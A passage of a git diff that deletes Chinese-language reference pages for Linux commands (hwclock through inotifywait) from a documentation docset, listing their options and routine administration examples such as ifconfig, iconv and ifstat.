--adjust:hwclock每次更改硬件时钟时,都会记录在/etc/adjtime文件中。使用--adjust参数,可使hwclock根据先前的记录来估算硬件时钟的偏差,并用来校正目前的硬件时钟;
---debug:显示hwclock执行时详细的信息;
---directisa:hwclock预设从/dev/rtc设备来存取硬件时钟。若无法存取时,可用此参数直接以I/O指令来存取硬件时钟;
---hctosys:将系统时钟调整为与目前的硬件时钟一致;
---set --date=<日期与时间>:设定硬件时钟;
---show:显示硬件时钟的时间与日期;
---systohc:将硬件时钟调整为与目前的系统时钟一致;
---test:仅测试程序,而不会实际更改硬件时钟;
---utc:若要使用格林威治时间,请加入此参数,hwclock会执行转换的工作;
---version:显示版本信息。
-
-

实例

-

设置硬件时间要依赖于操作系统时间,具体方法如下:

-
hwclock –systohc
-hwclock --systohc –-utc
-
-

不加任何参数使用hwclock,可以查看当前的硬件日期和时间。

-
hwclock
-
-

查看clock文件,确认是否设置了UTC:

-
cat /etc/default/rcS 
-UTC=yes
-
-

在其他一些版本的Linux(如RebHat)中可以这样查看:

-
cat /etc/sysconfig/clock
-ZONE="America/Los_Angeles"
-UTC=false
-ARC=false
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iconv.html b/linux-command.docset/Contents/Resources/Documents/c/iconv.html deleted file mode 100644 index 809800e6d3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iconv.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - iconv 命令,Linux iconv 命令详解:转换文件的编码方式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iconv

-

转换文件的编码方式

-

补充说明

-

iconv命令 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着。

-

语法

-
iconv -f encoding [-t encoding] [inputfile]... 
-
-

选项

-
-f encoding :把字符从encoding编码开始转换。 
--t encoding :把字符转换到encoding编码。 
--l :列出已知的编码字符集合 
--o file :指定输出文件 
--c :忽略输出的非法字符 
--s :禁止警告信息,但不是错误信息 
---verbose :显示进度信息 
--f和-t所能指定的合法字符在-l选项的命令里面都列出来了。 
-
-

实例

-

列出当前支持的字符编码: 

-
iconv -l 
-
-

将文件file1转码,转后文件输出到fil2中: 

-
iconv file1 -f EUC-JP-MS -t UTF-8 -o file2 
-
-

这里,没-o那么会输出到标准输出。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/id.html b/linux-command.docset/Contents/Resources/Documents/c/id.html deleted file mode 100644 index 4e6bd98c4c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/id.html +++ /dev/null @@ -1,136 +0,0 @@ - - - - - - - - - - - id 命令,Linux id 命令详解:打印真实以及有效的用户和所在组的信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

id

-

打印真实以及有效的用户和所在组的信息

-

概要

-
id [OPTION]... [USER]...
-
-

主要用途

-
    -
  • 没有选项时,打印指定用户ID信息。
  • -
-

选项

-
-a               兼容性选项,没有实际作用。
--Z, --context    只打印进程的安全上下文。
--g, --group      只打印有效的组ID。
--G, --groups     打印全部组ID。
--u, --user       只打印有效的用户ID。
--z, --zero       使用空字符代替默认的空格来分隔条目。
---help           显示帮助信息并退出。
---version        显示版本信息并退出。
-
-

只有在使用 -u -g -G 选项中一到多个时,以下选项可以使用:

-
-n, --name    打印名称而不是数字。
--r, --real    打印真实ID而不是有效ID。
-
-

参数

-

user(可选):可以为一到多个,默认为当前用户。

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
[root@localhost ~]# id
-uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
-
-

解释:用户root的UID号码 = 0,GID号码 = 0。用户root是下面组的成员:

-
    -
  • root组GID号是:0
  • -
  • bin组GID号是:1
  • -
  • daemon组GID号是:2
  • -
  • sys组GID号是:3
  • -
  • adm组GID号是:4
  • -
  • disk组GID号是:6
  • -
  • wheel组GID号是:10
  • -
-

打印用户名、UID 和该用户所属的所有组,要这么做,我们可以使用 -a 选项:

-
[root@localhost ~]# id -a
-uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
-
-

输出所有不同的组ID ,有效的,真实的和补充的,我们可以使用 -G 选项来实现:

-
[root@localhost ~]# id -G
-0 1 2 3 4 6 10
-
-

结果只会显示GID号。你可以和/etc/group文件比较。下面是/etc/group文件的示例内容:

-

只输出有效的组ID,通过使用 -g 选项来只输出有效组ID:

-
[root@localhost ~]# id -g
-0
-
-

输出特定用户信息,我们可以输出特定的用户信息相关的UID和GID。只需要在id命令后跟上用户名:

-
[root@localhost ~]# id www
-uid=500(www) gid=500(www) groups=500(www)
-
-

注意

-
    -
  1. -

    该命令可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID;一些程序可能需要UID/GID来运行。id 使我们更加容易地找出用户的UID以及GID,而不必在 /etc/group 文件中搜寻。

    -
  2. -
  3. -

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 idinfo coreutils 'id invocation'

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ifcfg.html b/linux-command.docset/Contents/Resources/Documents/c/ifcfg.html deleted file mode 100644 index 42485955e2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ifcfg.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - ifcfg 命令,Linux ifcfg 命令详解:置Linux中的网络接口参数 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ifcfg

-

置Linux中的网络接口参数

-

补充说明

-

ifcfg命令 是一个Bash脚本程序,用来设置Linux中的网络接口参数。

-

语法

-
ifcfg(参数)
-
-

参数

-
网络接口:指定要操作的网络接口;
-add/del:添加或删除网络接口上的地址;
-ip地址:指定IP地址和子网掩码;
-Stop:停用指定的网络接口的IP地址。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ifconfig.html b/linux-command.docset/Contents/Resources/Documents/c/ifconfig.html deleted file mode 100644 index 2d78497809..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ifconfig.html +++ /dev/null @@ -1,155 +0,0 @@ - - - - - - - - - - - ifconfig 命令,Linux ifconfig 命令详解:配置和显示Linux系统网卡的网络参数 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ifconfig

-

配置和显示Linux系统网卡的网络参数

-

补充说明

-

ifconfig命令 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了。

-

语法

-
ifconfig(参数)
-
-

参数

-
add<地址>:设置网络设备IPv6的ip地址;
-del<地址>:删除网络设备IPv6的IP地址;
-down:关闭指定的网络设备;
-<hw<网络设备类型><硬件地址>:设置网络设备的类型与硬件地址;
-io_addr<I/O地址>:设置网络设备的I/O地址;
-irq<IRQ地址>:设置网络设备的IRQ;
-media<网络媒介类型>:设置网络设备的媒介类型;
-mem_start<内存地址>:设置网络设备在主内存所占用的起始地址;
-metric<数目>:指定在计算数据包的转送次数时,所要加上的数目;
-mtu<字节>:设置网络设备的MTU;
-netmask<子网掩码>:设置网络设备的子网掩码;
-tunnel<地址>:建立IPv4与IPv6之间的隧道通信地址;
-up:启动指定的网络设备;
--broadcast<地址>:将要送往指定地址的数据包当成广播数据包来处理;
--pointopoint<地址>:与指定地址的网络设备建立直接连线,此模式具有保密功能;
--promisc:关闭或启动指定网络设备的promiscuous模式;
-IP地址:指定网络设备的IP地址;
-网络设备:指定网络设备的名称。
-
-

实例

-

显示网络设备信息(激活状态的):

-
[root@localhost ~]# ifconfig
-eth0      Link encap:Ethernet  HWaddr 00:16:3E:00:1E:51  
-          inet addr:10.160.7.81  Bcast:10.160.15.255  Mask:255.255.240.0
-          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
-          RX packets:61430830 errors:0 dropped:0 overruns:0 frame:0
-          TX packets:88534 errors:0 dropped:0 overruns:0 carrier:0
-          collisions:0 txqueuelen:1000
-          RX bytes:3607197869 (3.3 GiB)  TX bytes:6115042 (5.8 MiB)
-
-lo        Link encap:Local Loopback  
-          inet addr:127.0.0.1  Mask:255.0.0.0
-          UP LOOPBACK RUNNING  MTU:16436  Metric:1
-          RX packets:56103 errors:0 dropped:0 overruns:0 frame:0
-          TX packets:56103 errors:0 dropped:0 overruns:0 carrier:0
-          collisions:0 txqueuelen:0
-          RX bytes:5079451 (4.8 MiB)  TX bytes:5079451 (4.8 MiB)
-
-

说明:

-

eth0 表示第一块网卡,其中HWaddr表示网卡的物理地址,可以看到目前这个网卡的物理地址(MAC地址)是00:16:3E:00:1E:51

-

inet addr 用来表示网卡的IP地址,此网卡的IP地址是10.160.7.81,广播地址Bcast:10.160.15.255,掩码地址Mask:255.255.240.0

-

lo 是表示主机的回坏地址,这个一般是用来测试一个网络程序,但又不想让局域网或外网的用户能够查看,只能在此台主机上运行和查看所用的网络接口。比如把 httpd服务器的指定到回坏地址,在浏览器输入127.0.0.1就能看到你所架WEB网站了。但只是您能看得到,局域网的其它主机或用户无从知道。

-
    -
  • 第一行:连接类型:Ethernet(以太网)HWaddr(硬件mac地址)。
  • -
  • 第二行:网卡的IP地址、子网、掩码。
  • -
  • 第三行:UP(代表网卡开启状态)RUNNING(代表网卡的网线被接上)MULTICAST(支持组播)MTU:1500(最大传输单元):1500字节。
  • -
  • 第四、五行:接收、发送数据包情况统计。
  • -
  • 第七行:接收、发送数据字节数统计信息。
  • -
-

启动关闭指定网卡:

-
ifconfig eth0 up
-ifconfig eth0 down
-
-

ifconfig eth0 up为启动网卡eth0,ifconfig eth0 down为关闭网卡eth0。ssh登陆linux服务器操作要小心,关闭了就不能开启了,除非你有多网卡。

-

为网卡配置和删除IPv6地址:

-
ifconfig eth0 add 33ffe:3240:800:1005::2/64    #为网卡eth0配置IPv6地址
-ifconfig eth0 del 33ffe:3240:800:1005::2/64    #为网卡eth0删除IPv6地址
-
-

用ifconfig修改MAC地址:

-
ifconfig eth0 hw ether 00:AA:BB:CC:dd:EE
-
-

配置IP地址:

-
[root@localhost ~]# ifconfig eth0 192.168.2.10
-[root@localhost ~]# ifconfig eth0 192.168.2.10 netmask 255.255.255.0
-[root@localhost ~]# ifconfig eth0 192.168.2.10 netmask 255.255.255.0 broadcast 192.168.2.255
-
-

启用和关闭arp协议:

-
ifconfig eth0 arp    #开启网卡eth0 的arp协议
-ifconfig eth0 -arp   #关闭网卡eth0 的arp协议
-
-

设置最大传输单元:

-
ifconfig eth0 mtu 1500    #设置能通过的最大数据包大小为 1500 bytes
-
-

其它实例

-
ifconfig   #处于激活状态的网络接口
-ifconfig -a  #所有配置的网络接口,不论其是否激活
-ifconfig eth0  #显示eth0的网卡信息
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ifdown.html b/linux-command.docset/Contents/Resources/Documents/c/ifdown.html deleted file mode 100644 index 6f44f41f22..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ifdown.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - ifdown 命令,Linux ifdown 命令详解:禁用指定的网络接口 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ifdown

-

禁用指定的网络接口

-

补充说明

-

ifdown命令 用于禁用指定的网络接口。

-

语法

-
ifdown(参数)
-
-

参数

-

网络接口:要禁用的网络接口。

-

实例

-
ifdown eth0  #禁用eth0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ifstat.html b/linux-command.docset/Contents/Resources/Documents/c/ifstat.html deleted file mode 100644 index e0b20da3fd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ifstat.html +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - ifstat 命令,Linux ifstat 命令详解:统计网络接口流量状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ifstat

-

统计网络接口流量状态

-

补充说明

-

ifstat命令 就像iostat/vmstat描述其它的系统状况一样,是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装,需要自己下载源码包,重新编译安装,使用过程相对比较简单。

-

下载

-
http://gael.roualland.free.fr/ifstat/  (官网)
-wget http://gael.roualland.free.fr/ifstat/ifstat-1.1.tar.gz
-
-

编译安装

-
tar -zxvf ifstat-1.1.tar.gz
-cd ifstat-1.1
-./configure            
-make
-make install # 默认会安装到/usr/local/bin/目录中
-
-

注释:执行which ifstat输出/usr/local/bin/ifstat

-

选项

-
-l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。
--a 监测能检测到的所有网络接口的状态信息。使用发现,比加上-l参数还多一个plip0的接口信息,搜索一下发现这是并口(网络设备中有一 个叫PLIP (Parallel Line Internet Protocol). 它提供了并口...)
--z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的
--i 指定要监测的接口,后面跟网络接口名
--s 等于加-d snmp:[comm@][#]host[/nn]] 参数,通过SNMP查询一个远程主机
--h 显示简短的帮助信息
--n 关闭显示周期性出现的头部信息(也就是说,不加-n参数运行ifstat时最顶部会出现网络接口的名称,当一屏显示不下时,会再一次出现接口的名称,提示我们显示的流量信息具体是哪个网络接口的。加上-n参数把周期性的显示接口名称关闭,只显示一次)
--t 在每一行的开头加一个时间 戳(能告诉我们具体的时间)
--T 报告所有监测接口的全部带宽(最后一列有个total,显示所有的接口的in流量和所有接口的out流量,简单的把所有接口的in流量相加,out流量相 加)
--w  用指定的列宽,而不是为了适应接口名称的长度而去自动放大列宽
--W 如果内容比终端窗口的宽度还要宽就自动换行
--S 在同一行保持状态更新(不滚动不换行)注:如果不喜欢屏幕滚动则此项非常方便,与bmon的显示方式类似
--b 用kbits/s显示带宽而不是kbytes/s
--q 安静模式,警告信息不出现
--v 显示版本信息
--d 指定一个驱动来收集状态信息
-
-

实例

-

默认使用

-
[root@localhost ifstat-1.1] #ifstat
-       eth0                eth1       
- KB/s in  KB/s out   KB/s in  KB/s out
-    0.07      0.20      0.00      0.00
-    0.07      0.15      0.58      0.00
-
-

默认ifstat不监控回环接口,显示的流量单位是KB。

-
[root@localhost ifstat-1.1]# ifstat -tT
-  time           eth0                eth1                eth2                eth3               Total      
-HH:MM:ss   KB/s in  KB/s out   KB/s in  KB/s out   KB/s in  KB/s out   KB/s in  KB/s out   KB/s in  KB/s out
-16:53:04      0.84      0.62   1256.27   1173.05      0.12      0.18      0.00      0.00   1257.22   1173.86
-16:53:05      0.57      0.40      0.57      0.76      0.00      0.00      0.00      0.00      1.14      1.17
-16:53:06      1.58      0.71      0.42      0.78      0.00      0.00      0.00      0.00      2.01      1.48
-16:53:07      0.57      0.40      1.91      2.61      0.00      0.00      0.00      0.00      2.48      3.01
-16:53:08      0.73      0.40    924.02   1248.91      0.00      0.00      0.00      0.00    924.76   1249.31
-
-

监控所有网络接口

-
[root@localhost ifstat-1.1] # ifstat -a
-        lo                 eth0                eth1       
- KB/s in  KB/s out   KB/s in  KB/s out   KB/s in  KB/s out
-    0.00      0.00      0.28      0.58      0.06      0.06
-    0.00      0.00      1.41      1.13      0.00      0.00
-    0.61      0.61      0.26      0.23      0.00      0.00
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iftop.html b/linux-command.docset/Contents/Resources/Documents/c/iftop.html deleted file mode 100644 index 0b86b39bb3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iftop.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - - - - - - - iftop 命令,Linux iftop 命令详解:一款实时流量监控工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iftop

-

一款实时流量监控工具

-

补充说明

-

iftop命令 是一款实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行。

-

语法

-
iftop(选项)
-
-

选项

-
iftop: display bandwidth usage on an interface by host
-
-Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code]
-    [-F net/mask] [-G net6/mask6]
-
-   -h                  display this message
-   -n                  don't do hostname lookups
-   -N                  don't convert port numbers to services
-   -p                  run in promiscuous mode (show traffic between other
-                       hosts on the same network segment)
-   -b                  don't display a bar graph of traffic
-   -B                  Display bandwidth in bytes
-   -i interface        listen on named interface
-   -f filter code      use filter code to select packets to count
-                      (default: none, but only IP packets are counted)
-   -F net/mask         show traffic flows in/out of IPv4 network
-   -G net6/mask6       show traffic flows in/out of IPv6 network
-   -l                  display and count link-local IPv6 traffic (default: off)
-   -P                  show ports as well as hosts
-   -m limit            sets the upper limit for the bandwidth scale
-   -c config file      specifies an alternative configuration file
-   -t                  use text interface without ncurses
-   
-   Sorting orders:
-   -o 2s                Sort by first column (2s traffic average)
-   -o 10s               Sort by second column (10s traffic average) [default]
-   -o 40s               Sort by third column (40s traffic average)
-   -o source            Sort by source address
-   -o destination       Sort by destination address
-   
-   The following options are only available in combination with -t
-   -s num              print one single text output afer num seconds, then quit
-   -L num              number of lines to print
-
-

界面说明

-
-

第一行为带宽,这里为1Mbit,不是字节哦. -连接列表,最后三列分别是2秒,10秒和40秒的平均流量 -=> 代表发送
-<= 代表接收 -最后三行表示发送,接收和全部的流量, -第二列为你运行iftop到目前流量,第三列为高峰值,第四列为平均值。

-
-

实例

-
iftop           # 默认是监控第一块网卡的流量
-iftop -i eth1   # 监控eth1
-iftop -n        # 直接显示IP, 不进行DNS反解析
-iftop -N        # 直接显示连接埠编号, 不显示服务名称
-iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0  # 显示某个网段进出封包流量
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ifup.html b/linux-command.docset/Contents/Resources/Documents/c/ifup.html deleted file mode 100644 index 9032635436..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ifup.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - ifup 命令,Linux ifup 命令详解:激活指定的网络接口 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ifup

-

激活指定的网络接口

-

补充说明

-

ifup命令 用于激活指定的网络接口。

-

语法

-
ifup(参数)
-
-

参数

-

网络接口:要激活的网络接口。

-

实例

-
ifup eth0   #激活eth0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/indent.html b/linux-command.docset/Contents/Resources/Documents/c/indent.html deleted file mode 100644 index 5b0e7b7d57..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/indent.html +++ /dev/null @@ -1,138 +0,0 @@ - - - - - - - - - - - indent 命令,Linux indent 命令详解:格式化C语言的源文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

indent

-

格式化C语言的源文件

-

补充说明

-

indent命令 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。

-

语法

-
indent(选项)(源文件)
-或
-indent(选项)(源文件)(-o 目标文件)
-
-

选项

-
-bad:在声明区加上空白行;
--bap:添加空白行;
--bbb:在注释后面添加空白行;
--bc:在声明段中,如果出现逗号就换行;
--bl:if(或是else、for等)与后面执行区段的“{”不同行,且“}”自成一行-bli<缩排格数>设置{}缩排的格数;
--br:if(或是else、for等)与后面执行区段的“{”同行,且“}”自成一行;
--bs:在sizeof之后空一格;
--c<栏数>:将注释置于程序右侧指定的栏位;
--cd<栏数>:将注释置于声明右侧指定的栏位;
--cdb:注释符号自成一行;
--ce:将else置于“}”(if执行区段的结尾)之后;
--ci:<缩排格数>:叙述过长而换行时,指定换行后缩排的格数;
--cli<缩排格数>:使用case时,switch缩排的格数;
--cp<栏数>:将注释置于else与elseif叙述右侧指定的栏位;
--cs:在case之后空一格;
--d<缩排格数>:针对不是放在程序码右侧的注释,设置其缩排格数;
--di<栏数>:将声明区段的变量置于指定的栏位;
--fc1:针对放在每行最前端的注释,设置其格式;
--fca:设置所有注释的格式;
--gnu:使用指定的GNU格式,该参数为默认值;
--i<格数>:设置缩排的格数;
--ip<格数>:设置参数的缩排格数;
--kr:指定使用Kernighan&Ritchie的格式;
--lp:叙述过长而换行,且叙述中包含了括号时,将括号中的每行起始栏位内容垂直对其排列;
--nbad:在声明区段后不要加上空白行;
--nbap:在程序后面不添加空白行;
--nbbb:在注释段后面不添加空白行;
--nbc:在声明段中,即使出现逗号,也不换行;
--ncdb:注释符号不自成一行;
--nce:不将else置于“}”后面;
--ncs:不在case后面空一格;
--nfc1:不要格式化放在每行最前端的注释;
--nfca:不用格式化任何的注释;
--nip:参数不要缩排;
--nlp:叙述过长而换行,且叙述中包含了括号时,不用将括号中的每行起始栏位垂直对其排列;
--npcs:在调用函数名之后,不要添加空格;
--npro:不要读取indent的配置文件“.indent.pro”;
--npsl:程序类型与程序名称放在同一行;
--nsc:注释左侧不要添加星号;
--nsob:不用处理多余的空白行;
--nss:若for或while区段仅有一行时,在分号前不加空格;
--nv:不显示详细的信息;
--orig:使用berkeley格式;
--pcs:在调用函数名与“{”之间添加空格;
--psl:程序类型置于程序名称的前一行;
--sc:在每行注释左侧添加星号;
--sob:删除多余的空白行;
--ss:若for或swile区段仅有一行时,在分号前加上空格;
--st:将结果显示在标准输出设备上;
--T:数据类型名称缩排;
--ts<格数>:设置tab的长度;
--v:显示详细的执行过程;
---version:显示版本信息。
-
-

实例

-

使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令:

-
indent -bs /home/rootlocal/桌面/test.c
-
-

执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/info.html b/linux-command.docset/Contents/Resources/Documents/c/info.html deleted file mode 100644 index 4a327533bf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/info.html +++ /dev/null @@ -1,125 +0,0 @@ - - - - - - - - - - - info 命令,Linux info 命令详解:Linux下info格式的帮助指令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

info

-

Linux下info格式的帮助指令

-

补充说明

-

info命令 是Linux下info格式的帮助指令。

-

就内容来说,info页面比man page编写得要更好、更容易理解,也更友好,但man page使用起来确实要更容易得多。一个man page只有一页,而info页面几乎总是将它们的内容组织成多个区段(称为节点),每个区段也可能包含子区段(称为子节点)。理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航,还要学习如何在节点和子节点之间切换。可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西,真是具有讽刺意味:原本以为对于新手来说,某个东西比man命令会更好些,但实际上学习和使用起来更困难。

-

语法

-
info(选项)(参数)
-
-

选项

-
-d:添加包含info格式帮助文档的目录;
--f:指定要读取的info格式的帮助文档;
--n:指定首先访问的info帮助文件的节点;
--o:输出被选择的节点内容到指定文件。
-
-

参数

-

帮助主题:指定需要获得帮助的主题,可以是指令、函数以及配置文件。

-

实例

-

在info后面输入命令的名称就可以查看该命令的info帮助文档了:

-
info info
-
-

面介绍一下它的几个常用快捷键。

-
 **?键:** 它就会显示info的常用快捷键。
- **N键:** 显示(相对于本节点的)下一节点的文档内容。
- **P键:** 显示(相对于本节点的)前一节点的文档内容。
- **U键:** 进入当前命令所在的主题。
- **M键:** 敲M键后输入命令的名称就可以查看该命令的帮助文档了。
- **G键:** 敲G键后输入主题名称,进入该主题。
- **L键:** 回到上一个访问的页面。
- **SPACE键:** 向前滚动一页。
- **BACKUP或DEL键:** 向后滚动一页。
- **Q:** 退出info。
-
-

命令

-
 **?**      显示帮助窗口
-
-在帮助窗口中:
- **Ctrl-x 0**           关闭帮助窗口
- **Ctrl-x Ctrl-c**     关闭整个 Info
-
- **q**       退出 info
- **n**       打开与本 Node 关联的下一个 Node
- **p**       打开与本 Node 关联的前一个 Node
- **u**       打开与本 Node 关联的上一个 Node
- **l**       回到上一次访问的 Node
- **m或g**    选择一个菜单项(Node 的名字)
-       输入指定菜单的名字后按回车,打开指定菜单项关联的 Node
- **空格键**  下一页(PageDown 也可以,下一页从当前页的最后两行开始算起)
-       下一个 Node (若当前页在 Node 文档的末尾)
- **Del 键**  上一页(PageUp 也可以,上一页从当前页的开始两行开始算起)
-       上一个 Node (若当前页 Node 文档的开始)
-
- **b 或 t 或 Home**    文档的开始(b 是 begining 的意思)
- **e 或 End**          文档的末尾(b 是 ending 的意思)
- **Ctrl-l**     刷新当前页,若当前文档显示情况有问题时
- **Ctrl-g**     取消所键入的指令
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/init.html b/linux-command.docset/Contents/Resources/Documents/c/init.html deleted file mode 100644 index 3d5c28ede5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/init.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - init 命令,Linux init 命令详解:init进程是所有Linux进程的父进程 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

init

-

init进程是所有Linux进程的父进程

-

补充说明

-

init命令 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程。

-

语法

-
init(选项)(参数)
-
-

选项

-
-b:不执行相关脚本而直接进入单用户模式;
--s:切换到单用户模式。
-
-

参数

-

运行等级:指定Linux系统要切换到的运行等级。

-

实例

-

几个常用的命令

-

查看系统进程命令:ps -ef | head
-查看init的配置文件:more /etc/inittab
-查看系统当前运行的级别:runlevel

-

运行级别

-

到底什么是运行级呢?简单的说,运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在/etc/inittab中查看它的英文介绍。

-
#0  停机(千万不能把initdefault 设置为0)
-#1  单用户模式
-#2  多用户,没有 NFS(和级别3相似,会停止部分服务)
-#3  完全多用户模式
-#4  没有用到
-#5  x11(Xwindow)
-#6  重新启动(千万不要把initdefault 设置为6)
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/inotifywait.html b/linux-command.docset/Contents/Resources/Documents/c/inotifywait.html deleted file mode 100644 index e972f8b571..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/inotifywait.html +++ /dev/null @@ -1,163 +0,0 @@ - - - - - - - - - - - inotifywait 命令,Linux inotifywait 命令详解:异步文件系统监控机制 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

inotifywait

-

异步文件系统监控机制

-

补充说明

-

Inotify 一种强大的、细粒度的、异步文件系统监控机制,它满足各种各样的文件监控需要,可以监控文件系统的访问属性、读写属性、权限属性、删除创建、移动等操作,也就是可以监控文件发生的一切变化。。

-

inotify-tools 是一个C库和一组命令行的工作提供Linux下inotify的简单接口。inotify-tools安装后会得到inotifywaitinotifywatch这两条命令:

-
    -
  • inotifywait命令 可以用来收集有关文件访问信息,Linux发行版一般没有包括这个命令,需要安装inotify-tools,这个命令还需要将inotify支持编译入Linux内核,好在大多数Linux发行版都在内核中启用了inotify。
  • -
  • inotifywatch命令 用于收集关于被监视的文件系统的统计数据,包括每个 inotify 事件发生多少次。
  • -
-

开始之前需要检测系统内核是否支持inotify:

-

使用uname -r命令检查Linux内核,如果低于2.6.13,就需要重新编译内核加入inotify的支持。

-

使用ll /proc/sys/fs/inotify命令,是否有以下三条信息输出,如果没有表示不支持。

-
ll /proc/sys/fs/inotify
-total 0
--rw-r--r-- 1 root root 0 Jan  4 15:41 max_queued_events
--rw-r--r-- 1 root root 0 Jan  4 15:41 max_user_instances
--rw-r--r-- 1 root root 0 Jan  4 15:41 max_user_watches
-
-

安装inotify-tools

-
    -
  • inotify-tools项目地址:https://github.com/rvoicilas/inotify-tools
  • -
  • inotify-tools下载地址:http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz
  • -
-
#CentOS release 5.8/64位:
-tar zxvf inotify-tools-3.14.tar.gz
-cd inotify-tools-3.14
-./configure
-make
-make install
-
-

其他Linux发行版安装方法可以参见:https://github.com/rvoicilas/inotify-tools/wiki#wiki-getting

-

inotify相关参数

-

inotify定义了下列的接口参数,可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数,因此,可以根据应用需求,实时的调节其大小:

-
    -
